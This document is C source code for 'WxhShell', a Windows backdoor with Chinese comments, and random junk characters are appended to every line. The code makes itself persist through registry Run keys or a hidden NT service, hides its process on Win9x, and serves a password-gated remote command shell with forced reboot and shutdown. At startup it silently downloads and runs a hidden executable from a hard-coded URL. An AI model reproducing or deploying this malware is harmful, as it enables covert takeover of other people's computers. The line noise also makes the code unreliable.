  case 'd': { -*A'6%`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |3L MVN  
    if(Boot(SHUTDOWN)) Q'VS]n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8\9EDgT  
    else { 7,zARWB!?  
    closesocket(wsh); ?1uAY.~ZZB  
    ExitThread(0); O2e "TH3  
    } y)}aySQK^  
    break; :]s] =q&]  
    } M@\'Y$)Y{  
  // 获取shell ]@>|y2  
  case 's': { p"@|2a  
    CmdShell(wsh); X`b5h}c  
    closesocket(wsh); [oj"Tn(  
    ExitThread(0); SXEiyy[7v  
    break; ht |r+v-  
  } >`:+d'Jv0  
  // 退出 66*o2D\Q*G  
  case 'x': { PwW@I~@>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8(}sZ)6  
    CloseIt(wsh); *`#,^p`j b  
    break; TRZ^$<AG  
    } vF&b|V+,  
  // 离开 Nz;;X\GI  
  case 'q': { c0 |p34  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); UVK"%kW#(  
    closesocket(wsh); pA'A<|)K0  
    WSACleanup(); 4_<Uk  
    exit(1); sFQ|lU"n  
    break; 3_$eQ`AAA  
        } Ub,unU  
  } "}! rM6 h  
  } F 4/Uu"J:  
R=PzR;8  
  // 提示信息 ^ne8~ ;Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7,TWCVap  
} M lFvDy  
  } jGn^<T\  
nlW&(cH  
  return; 0,/x#  
} 1' m $_  
y~7lug  
// shell模块句柄 #A; Z4jK  
int CmdShell(SOCKET sock) YkX=n{^  
{ zwtsw[.  
STARTUPINFO si; ]B4mm__  
ZeroMemory(&si,sizeof(si)); UD{/L"GG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iC-ABOOu{l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4:$>,D\  
PROCESS_INFORMATION ProcessInfo; B! V{.p  
char cmdline[]="cmd"; Q\L5ZJ%y/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fXe-U='  
  return 0; ak `)>  
} gf?^yP ;V  
;Oy>-Ij5P  
// 自身启动模式 : qRT9n$  
int StartFromService(void) P~e$iBH'  
{ dU6LB+A  
typedef struct LltguNM$  
{ pm\X*t}L  
  DWORD ExitStatus; }eM<A$J  
  DWORD PebBaseAddress; moR2iyO_  
  DWORD AffinityMask; Ib!rf:  
  DWORD BasePriority; |`wsKr'  
  ULONG UniqueProcessId; 7-I>5 3@  
  ULONG InheritedFromUniqueProcessId; VU9P\|c@<  
}   PROCESS_BASIC_INFORMATION; Cw $^w  
yipD5,TC  
PROCNTQSIP NtQueryInformationProcess; .5;LL,S-  
Jr)`shJ"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q/)ok$A&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m7vxzC*  
'hO;sL  
  HANDLE             hProcess; `aL|qyrq#  
  PROCESS_BASIC_INFORMATION pbi; w9$8t9$|  
(PcK(C!}=\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); acQN pT  
  if(NULL == hInst ) return 0; ; ,jLtl  
~qxXou,J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sdYj'e:N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e oSM@Isu  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |SKG4_wGe  
z\>X[yNpA  
  if (!NtQueryInformationProcess) return 0; J"/z?!)IB  
t<F]%8S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #J724`  
  if(!hProcess) return 0; ^G&D4uZ  
Xe;(y "pR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8Ql'(5|T  
bs EpET  
  CloseHandle(hProcess); W'h0Zg  
^!o}>ls['  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (M,VwwN  
if(hProcess==NULL) return 0; Ir"Q%>K0f  
@jSbMI  
HMODULE hMod; P lH`(n#  
char procName[255]; $'YKB8C  
unsigned long cbNeeded; Tw;qY  
WwtE=od  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yr2L  
\&&(ytL  
  CloseHandle(hProcess); 9zYiG3 d  
NjN?RB/5  
if(strstr(procName,"services")) return 1; // 以服务启动 L8wcH  
@[tV_Z%,b  
  return 0; // 注册表启动 8sIA;r%S  
} AAq=,=:R<  
UvJuOh+  
// 主模块 &v5.;8u+OV  
int StartWxhshell(LPSTR lpCmdLine) _iJXp0g  
{ :dIQV(iW  
  SOCKET wsl; 'z}M[h K]  
BOOL val=TRUE; e ]o'i;I  
  int port=0; =yX&p:-&  
  struct sockaddr_in door; r>~d[,^$m4  
o 7W Kh=  
  if(wscfg.ws_autoins) Install(); 4:&qT Y)H  
in #]3QGV  
port=atoi(lpCmdLine); RB7AI !'a?  
yISQYvSN  
if(port<=0) port=wscfg.ws_port; aT:AxYn8  
L'XdX\5  
  WSADATA data; |F@xwfgb  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k\sM;bCv7  
Secq^#]8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xVkTRCh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {XD/8m(hN|  
  door.sin_family = AF_INET; 2FIR]@MQd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FaE#\Q  
  door.sin_port = htons(port); DwmU fZp  
2k}-25xxL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~,*YmB=Z  
closesocket(wsl); T<+ht8&M8  
return 1; I+"?,Ej$K  
} $.Q>M]xH  
R G0S  
  if(listen(wsl,2) == INVALID_SOCKET) { Afy .3T @)  
closesocket(wsl); n5+S"  
return 1; -}X?2Q  
} G/z\^Q  
  Wxhshell(wsl); h!G^dW.  
  WSACleanup(); ^@`e  
.3&a{IxM]  
return 0; o4 %Vt} K  
mw(c[.*%  
} /pN'K5@  
a We Bav}_  
// 以NT服务方式启动 >*= =wlOB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q)V1{B@  
{ %U5P}  
DWORD   status = 0; xshAr J&A  
  DWORD   specificError = 0xfffffff; 8VuZ,!WH#  
l{6` k<J(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; y=9Dxst"V  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; p2x1xv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $xA J9_2P  
  serviceStatus.dwWin32ExitCode     = 0; (7;J"2M  
  serviceStatus.dwServiceSpecificExitCode = 0; q11QAx4p  
  serviceStatus.dwCheckPoint       = 0; uKbHFF  
  serviceStatus.dwWaitHint       = 0; @q+cm JKv  
j&dx[4|m:h  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _}zo /kDA  
  if (hServiceStatusHandle==0) return; dY/u<4  
+[whh  
status = GetLastError(); 4e+BqCriC*  
  if (status!=NO_ERROR) ZD)0P=%  
{ 6Q2or n[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,](v?v.[4  
    serviceStatus.dwCheckPoint       = 0; Jh$"fr3  
    serviceStatus.dwWaitHint       = 0; F)/~p&H  
    serviceStatus.dwWin32ExitCode     = status; 1Y=AT!"V  
    serviceStatus.dwServiceSpecificExitCode = specificError; ', sQ/#S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xvR?~  
    return; -@SOo"P  
  } < TR/ `  
my ;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5#0A`QO   
  serviceStatus.dwCheckPoint       = 0; 0R@g(  
  serviceStatus.dwWaitHint       = 0; crd|2bjp+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _Z+jQFKJ\8  
} [`.3f'")j  
S<eZd./p6  
// 处理NT服务事件,比如:启动、停止 }XCR+uAz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q%-&[%l  
{ .Vo"AuC}  
switch(fdwControl) vuR5}/Ev  
{ MSZ!W(7,<  
case SERVICE_CONTROL_STOP: ~$4]HDg  
  serviceStatus.dwWin32ExitCode = 0; -`!_h[   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B2~f;zy`  
  serviceStatus.dwCheckPoint   = 0; # 0GGc.  
  serviceStatus.dwWaitHint     = 0; <i}q=%W!1  
  { (PS$e~H s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vpm ]9>1[  
  } *o02!EYge  
  return; ORowx,(hX  
case SERVICE_CONTROL_PAUSE: vWU%ST  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; '7xxCj/*  
  break; ':l"mkd+`  
case SERVICE_CONTROL_CONTINUE: f?%qUD_#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `'p`PyMt`  
  break; (2z%U  
case SERVICE_CONTROL_INTERROGATE: m|]j'g?{}(  
  break; ;/@?6T"  
}; (8CCesy&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \!^i;1h0c3  
} m[Z6VHn  
uR#'lb`3  
// 标准应用程序主函数 IQ3n@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @Ex;9F,Q  
{ })@tA<+  
n{dP@_>WS  
// 获取操作系统版本 [ULwzjss#L  
OsIsNt=GetOsVer(); 4~O6$;!|~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Zc-#;/b3T  
GAv)QZyV$  
  // 从命令行安装 Bk@)b`WR  
  if(strpbrk(lpCmdLine,"iI")) Install(); TdQ ]G2  
[{`)j  
  // 下载执行文件 Bul.RCP'  
if(wscfg.ws_downexe) { aXe{U}eow  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B?SNea,I4  
  WinExec(wscfg.ws_filenam,SW_HIDE); k}D[Hp:m  
} _yj1:TtCNT  
q@w{c=  
if(!OsIsNt) { 1g1?zk8zO  
// 如果时win9x,隐藏进程并且设置为注册表启动 4P|$LkI  
HideProc(); i90}Xyt  
StartWxhshell(lpCmdLine); @l'G[jN5  
} bE?'C h  
else UqN{JG:#.  
  if(StartFromService()) \V= &&(n#  
  // 以服务方式启动 N~;*bvW{  
  StartServiceCtrlDispatcher(DispatchTable); 6sPk:5  
else |GtY*|  
  // 普通方式启动 /D0RC  
  StartWxhshell(lpCmdLine); 8;TAb.r  
t)9]<pN%  
return 0; [s~JceUyX  
} wW-Ab  
q(IZJGb  
:$=|7v  
4E2yH6l  
=========================================== h40'@u^W  
a mqOxb  
CWs: l3_yn  
|| [89G  
}'%^jt[3  
6/| 0+G^  
" 6O9iEc,HM  
z!$gVWG  
#include <stdio.h> gmY/STN   
#include <string.h> a:A n=NA  
#include <windows.h> +0J@y1  
#include <winsock2.h> Jen%}\  
#include <winsvc.h> .U9 R> #  
#include <urlmon.h> D9.`hs0  
)u;JwFstX  
#pragma comment (lib, "Ws2_32.lib") .d~\Ysve  
#pragma comment (lib, "urlmon.lib") U;g S[8,p  
ahA{B1M)n  
#define MAX_USER   100 // 最大客户端连接数 -0$:|p?@^  
#define BUF_SOCK   200 // sock buffer 'w(y J  
#define KEY_BUFF   255 // 输入 buffer ;K_}A4K  
JWWYVl VC  
#define REBOOT     0   // 重启 \PbvN\L  
#define SHUTDOWN   1   // 关机 3?2<W EYr  
?q _^Rj$  
#define DEF_PORT   5000 // 监听端口 ocF>LR%P  
_.{zpF=j  
#define REG_LEN     16   // 注册表键长度 `FZF2.N  
#define SVC_LEN     80   // NT服务名长度 %zzYleJ!]  
;WD,x:>blO  
// 从dll定义API f^p^Y F+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); EUy(T1Cl&&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #--olEj!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O|I+],  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C/G]v*MBQ  
aG(hs J)  
// wxhshell配置信息 w9f _b3  
struct WSCFG { 9_ZBV{   
  int ws_port;         // 监听端口 yHNuU)Ft  
  char ws_passstr[REG_LEN]; // 口令 7X}TB\N1  
  int ws_autoins;       // 安装标记, 1=yes 0=no BX[~% iE  
  char ws_regname[REG_LEN]; // 注册表键名 edijfhn  
  char ws_svcname[REG_LEN]; // 服务名 J!hFN]M<<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t0Zk-/s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 BC! 6O/kr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U]hF   
int ws_downexe;       // 下载执行标记, 1=yes 0=no hv>KX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dv~pddOs  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H_w%'v&  
{~N3D4n^  
}; fW(/Loh  
{,?ss$L  
// default Wxhshell configuration 7?J3ci\  
struct WSCFG wscfg={DEF_PORT, byGn,m  
    "xuhuanlingzhe", qsI^oBD"  
    1, QXVC\@  
    "Wxhshell", nBz`q+V  
    "Wxhshell", 2.-o@im0  
            "WxhShell Service", BLn_u,3  
    "Wrsky Windows CmdShell Service", #G#g|x*V  
    "Please Input Your Password: ", f+x ;:  
  1, l%~lz[  
  "http://www.wrsky.com/wxhshell.exe", @g-G =Ba  
  "Wxhshell.exe" yK1ie  
    }; [A5W+pDm  
_?`&JF?*  
// 消息定义模块 gKo%(6{n~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a460|w6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c8Z A5|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "(`2eXRn  
char *msg_ws_ext="\n\rExit."; c2 Aps  
char *msg_ws_end="\n\rQuit."; ^m!_ 2_q  
char *msg_ws_boot="\n\rReboot..."; 1J{fXh  
char *msg_ws_poff="\n\rShutdown..."; <T+!V-Pj*  
char *msg_ws_down="\n\rSave to "; &!L:"]=+  
P4k;O?y  
char *msg_ws_err="\n\rErr!"; /_t|Dry015  
char *msg_ws_ok="\n\rOK!"; $*f?&U]k  
0[T,O,y  
char ExeFile[MAX_PATH]; iWA|8$u4gm  
int nUser = 0; ; s|w{.<:  
HANDLE handles[MAX_USER]; 6na^]t~ncm  
int OsIsNt; -*B`]  
?9mkRd}c  
SERVICE_STATUS       serviceStatus; (R*j|HAw`X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8'#/LA[uPe  
jlqv2V7=/  
// 函数声明 /,s[#J   
int Install(void); }Fa%%}  
int Uninstall(void); J?&l*_m;t  
int DownloadFile(char *sURL, SOCKET wsh); V'G Ju  
int Boot(int flag); CMW,slC_3  
void HideProc(void); ,.tfWN%t\  
int GetOsVer(void); 9Uf j  
int Wxhshell(SOCKET wsl); +f|BiW  
void TalkWithClient(void *cs); a.2L*>p  
int CmdShell(SOCKET sock); ;H'gT+t<c  
int StartFromService(void); ;_O)p,p  
int StartWxhshell(LPSTR lpCmdLine); (JUZCP/\  
`P}9i@C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $}GTG'*.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F;q#&  
Kibr ]w  
// 数据结构和表定义 Hfym30  
SERVICE_TABLE_ENTRY DispatchTable[] = N&,]^>^u  
{ fv!?Ga(  
{wscfg.ws_svcname, NTServiceMain}, -/P\"c  
{NULL, NULL} .}B(&*9,v  
}; X4|4QgY  
x=q;O+7]  
// 自我安装 ~" i0x  
int Install(void) 1} %B%*N  
{ T{+Z(L  
  char svExeFile[MAX_PATH]; B<?w h0  
  HKEY key; 3Ot~!AlR  
  strcpy(svExeFile,ExeFile); RY9V~8|M  
c{3wk7  
// 如果是win9x系统,修改注册表设为自启动 E"~2./+rd  
if(!OsIsNt) { /Ncm^b4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9X$ma/P[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a<~77~"4wn  
  RegCloseKey(key); eHiy,IN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 47K1$3P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tDg}Ys=4K>  
  RegCloseKey(key); )2IH 5  
  return 0; [ic870_  
    } O@V%Cu  
  } r!PpUwod  
} ^T::-pN*  
else { iBTYY{-wF  
S! v(+|  
// 如果是NT以上系统,安装为系统服务 <{5EdX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _Q[$CcDEE  
if (schSCManager!=0) QX4ai3v  
{ 42J {aJVH  
  SC_HANDLE schService = CreateService |yEa5rd?W  
  ( BZ54*\t  
  schSCManager, {X(:jAy  
  wscfg.ws_svcname, `-h8vj5uG  
  wscfg.ws_svcdisp, h:Gu`+D>W  
  SERVICE_ALL_ACCESS, z`UhB%-?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >TkE~7?l  
  SERVICE_AUTO_START, 6 5N~0t  
  SERVICE_ERROR_NORMAL, #X 52/8G  
  svExeFile, j)C,%Ol  
  NULL, ?W^c4NtP  
  NULL, UcOk3{(z$q  
  NULL, #|&Sc_#4)  
  NULL, eq(am%3~  
  NULL *t[. =_v  
  ); '(bgs   
  if (schService!=0) /DQaGq/Ld  
  { z|EEVNFd&  
  CloseServiceHandle(schService); hd),&qoW?  
  CloseServiceHandle(schSCManager); u! "t!2I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _8Kx6s%  
  strcat(svExeFile,wscfg.ws_svcname); NS%WeAf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (bsXo q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n8*;lK8  
  RegCloseKey(key); "j;4 k.`h  
  return 0; )M6w5g  
    } Q8!) !r%  
  } $hivlI-7Ko  
  CloseServiceHandle(schSCManager); 4RSHZAJg  
} OQW#a[=WQ  
} T}V!`0vKw  
x=ul&|^7D  
return 1; qlL`jWJ  
} s l]_M  
R" ;x vo*  
// 自我卸载 na9sm  
int Uninstall(void) ]gYz 4OT  
{ ~0beuK&p  
  HKEY key; kY*rb_2j  
}VS5gxI1.  
if(!OsIsNt) { K+;e4_\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q#<^^4U  
  RegDeleteValue(key,wscfg.ws_regname); 0 stc9_O  
  RegCloseKey(key); 9E>xIJ@J2T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ='`/BY(m[  
  RegDeleteValue(key,wscfg.ws_regname); O8B\{T1  
  RegCloseKey(key); &f ^,la  
  return 0;  =-IbS}3  
  } tjupJ*Rt  
} C:PMewn  
} O3I8k\`  
else { uc;8 K,[t  
n4}B r;%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?b(=1S\E'^  
if (schSCManager!=0) ?VP8ycm  
{ N5a*7EJv+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?OkWe<:4  
  if (schService!=0) sBr_a5QQ#  
  { vI>>\ .ED  
  if(DeleteService(schService)!=0) { .zi_[  
  CloseServiceHandle(schService);  o4|M0  
  CloseServiceHandle(schSCManager); !o:f$6EA~C  
  return 0; ]H`1F1=  
  } 6@rMtQfI  
  CloseServiceHandle(schService); XUz3*rfs  
  } bD/~eIcWL  
  CloseServiceHandle(schSCManager); 3AU;>D^5  
} 8_{X1bj  
} Z'"tB/=W  
ILGMMA_2  
return 1; a(l29>  
} _d5QbTe  
"wNJ  
// 从指定url下载文件 9I}-[|`u  
int DownloadFile(char *sURL, SOCKET wsh) ,6-:VIHQ  
{ Wk)OkIFR  
  HRESULT hr; \O2Rhz  
char seps[]= "/"; 3B84^>U<  
char *token; U4d:] z  
char *file; IZpP[hov  
char myURL[MAX_PATH]; vEJWFoeEFm  
char myFILE[MAX_PATH]; vX/T3WV  
e 9;~P}  
strcpy(myURL,sURL); !@}wDt  
  token=strtok(myURL,seps); I}1NB3>^  
  while(token!=NULL) wOU_*uY@6'  
  { ML|FQ  
    file=token; 02 c':a=7  
  token=strtok(NULL,seps); RZXjgddL  
  } \G*0"%!U  
=ALTUV3/q  
GetCurrentDirectory(MAX_PATH,myFILE); bbE!qk;hEP  
strcat(myFILE, "\\"); ?l9XAW t\  
strcat(myFILE, file); D]zwl@sRX:  
  send(wsh,myFILE,strlen(myFILE),0); 8X[:j&@  
send(wsh,"...",3,0); U/!TKic+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 37s0e;aF  
  if(hr==S_OK) ,J+}rPe"sf  
return 0; 'uBu6G  
else 4y|BOVl  
return 1; PvPOU"  
]s<[D$ <,  
} [_k1jHr48N  
nLXlU*ES  
// 系统电源模块 fdFo#P  
int Boot(int flag) `sn^ysp  
{ 4h|c<-`>t  
  HANDLE hToken; k>;`FFQU>  
  TOKEN_PRIVILEGES tkp; HiZ*+T.B  
G?O1>?4C  
  if(OsIsNt) { nT7%j{e=L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r>>%2Z-P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T&6l$1J  
    tkp.PrivilegeCount = 1; |fK1/<sz#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Te"ioU?.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $a.JSXyxL  
if(flag==REBOOT) { h9}+l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Hj^1or3R]  
  return 0; ]Sf]J4eQ  
} -t!~%_WCv  
else { (A9Fhun  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0X6YdW_2X  
  return 0; J')o|5S1N  
} geru=7  
  } LBYMCY  
  else { )_YX DU  
if(flag==REBOOT) { 9X}10u:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]_f_w 9]  
  return 0; marQNZ  
} hOjk3 k  
else { Q /U2^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cr7 }^s  
  return 0; _kef 0K6  
} ]L5@,E4.  
} =^M/{51j  
L/$H"YOv  
return 1; glO^yZs  
} SW@$ci  
, qMzWa  
// win9x进程隐藏模块 fK>L!=Q  
void HideProc(void) 9+Np4i@  
{ Cio 1E-4  
R@1xt@?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); luh$2 \5B  
  if ( hKernel != NULL ) }T(D7|^R  
  { UXJ eAE-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &* M!lxDN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =W(Q34  
    FreeLibrary(hKernel); n\mO6aJ  
  } I9|mG'  
W!Gq.M  
return; 8'HEms  
} o_izl \  
XWBA^|-N  
// 获取操作系统版本 9}rS(/@ }  
int GetOsVer(void) 5TH~.^`Fi  
{ ejSji-Qd  
  OSVERSIONINFO winfo; ZF!h<h&,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (nQ^  
  GetVersionEx(&winfo); p $S*dr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 94'&b=5+  
  return 1; y6(Z`lx  
  else u|\1h LXX  
  return 0; 3#LlDC_WC  
} %z=le7  
/CrSu  
// 客户端句柄模块 uy>q7C  
int Wxhshell(SOCKET wsl) p*XANGA  
{ T$8)u'-pa  
  SOCKET wsh; (~p< P+  
  struct sockaddr_in client; ; 5*&xz  
  DWORD myID; )3cAQ'w  
j`{?OYD  
  while(nUser<MAX_USER) Y`~Ut:fZ  
{ HY56"LZ$(}  
  int nSize=sizeof(client); zYH&i6nj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sA+ }TNhq  
  if(wsh==INVALID_SOCKET) return 1; /:cd\A}  
g@d*\ P)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {i;r  
if(handles[nUser]==0) M H|Og84  
  closesocket(wsh); #|uCgdi  
else )HEa<P^kJl  
  nUser++; Ki;*u_4{  
  } g_;\iqxL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "BM#4  
fW?vdYF  
  return 0; P0;n9>g  
} /p/]t,-j2  
mVj9, q0  
// 关闭 socket * ` JYC  
void CloseIt(SOCKET wsh) z0 d.J1VW  
{ 34f?6K1c  
closesocket(wsh); *I B4[6  
nUser--; pE`})/?\*  
ExitThread(0); D, k6$`  
} f[]dfLS"W  
GV1pn) 4  
// 客户端请求句柄 esJ~;~[@(r  
void TalkWithClient(void *cs) v&6-a*<Z  
{ 8'[~2/  
(^ J I%>  
  SOCKET wsh=(SOCKET)cs; b!+hH Hv:  
  char pwd[SVC_LEN]; ncaT?~u j  
  char cmd[KEY_BUFF]; atj(eg  
char chr[1]; u^&^UxCA  
int i,j; y5vvu>nd  
R|'ybW'Y  
  while (nUser < MAX_USER) { AzPu)  
QFA8N  
if(wscfg.ws_passstr) { rjK%t|aV^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,<.V7(|t)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _5w]a 2  
  //ZeroMemory(pwd,KEY_BUFF); D ;RiGW4  
      i=0; 9[#pIPxNK  
  while(i<SVC_LEN) { |NlO7aQ>2H  
~?l | [  
  // 设置超时 zOJ%}  
  fd_set FdRead; )7hqJa-V  
  struct timeval TimeOut; Xu{1".\  
  FD_ZERO(&FdRead); z[ N`s$;  
  FD_SET(wsh,&FdRead); =0 #O U  
  TimeOut.tv_sec=8; ::`HQ@^  
  TimeOut.tv_usec=0; 9p]QM)M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); HVRZ[Y<^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s9 mx  
p#-Z4-`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rm7ANMB:  
  pwd=chr[0]; [z:!j$K  
  if(chr[0]==0xd || chr[0]==0xa) { &0d# Y]D4`  
  pwd=0; b 1c y$I  
  break; #`^}PuQ  
  } (&r. w  
  i++; [+^1.N  
    } p:&8sO!m  
"MeVE#O  
  // 如果是非法用户,关闭 socket ,CJWO bn3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "69s) ~  
} t5Sy V:fP  
KS+'|q<?w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +w`2kv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w?L6!)oiz  
~g91Pr   
while(1) { #<fRE"v:Q  
p%ki>p )E|  
  ZeroMemory(cmd,KEY_BUFF); (g]!J_Z"  
8\^R~K`sY  
      // 自动支持客户端 telnet标准   Xg6Jh``  
  j=0; 9X6h  
  while(j<KEY_BUFF) { Ov@gh kr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }CSDV9).S  
  cmd[j]=chr[0]; {p2!|A&a  
  if(chr[0]==0xa || chr[0]==0xd) { l$KA)xbI  
  cmd[j]=0; t 9lPb_70  
  break; FaAC&F@u  
  } <sbu;dQ`  
  j++; )$2QZ qX  
    } hgG9m[?K  
M-VX;/&FR  
  // 下载文件 r `=I  
  if(strstr(cmd,"http://")) { '@v\{ l  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); SO/c}vnBB  
  if(DownloadFile(cmd,wsh)) E:68?IJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @mCEHI{P  
  else !)f\%lb  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .^`{1%  
  } >58YjLXb  
